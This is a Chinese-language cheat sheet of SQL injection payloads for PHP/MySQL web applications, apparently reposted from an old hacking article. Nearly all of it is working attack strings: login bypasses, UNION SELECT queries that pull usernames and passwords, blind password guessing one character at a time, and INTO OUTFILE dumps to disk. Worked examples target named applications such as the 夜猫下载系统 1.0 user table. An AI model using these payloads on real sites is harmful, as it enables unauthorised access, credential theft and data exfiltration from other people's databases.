php Injection库总结

' or 1=1
' or '1=1
'/*
'#
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 (ord函数很好用,能够返回整形的)
' and LENGTH(password)='6(探测密码长度)
' and LEFT(password,1)='m
' and LEFT(password,2)='my
…………………………依次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* (能够是1或=后直接跟)
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt (导出文档)
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version() (灵活应用查询)
常用查询测试语句,
SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1 1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END

例如:夜猫下载系统1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
…………………………………………………………

例如2:灰色轨迹 变换id进行测试(meteor)
union (SELECT allowsmilies,public,userid,'0000-0-0',user(),version() FROM calendar_events WHERE eventid = 13) order by eventdate
union (SELECT allowsmilies,public,userid,'0000-0-0',pass(),version() FROM calendar_events WHERE eventid = 10) order by eventdate
构造语句:
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
UNION (SELECT 1,0,2,'1999-01-01','a',password FROM user WHERE userid = 5) order by eventdate
UNION (SELECT 1,0,12695,'1999-01-01','a',password FROM user WHERE userid=13465) order by eventdate
UNION (SELECT 1,0,12695,'1999-01-01','a',userid FROM user WHERE username='sandflee') order by eventdate (查沙子的id)

(SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……(字段和数据库相同情况下,可直接提交)
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……(不同的情况下)

特别技巧:在表单,搜索引擎等地方写:
“___”
“.__ ”
“%
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#

$command = "dir c:/";system($command);
SELECT * FROM article WHERE articleid='$id'
SELECT * FROM article WHERE articleid=$id
1' and 1=2 union select * from user where userid=1/* 句中变为
(SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*')
1 and 1=2 union select * from user where userid=1

语句形式:建立一个库,插入:
CREATE DATABASE `injection`
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) ;
INSERT INTO `user` VALUES (1, 'swap', 'mypass');


插如一个注册用户:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!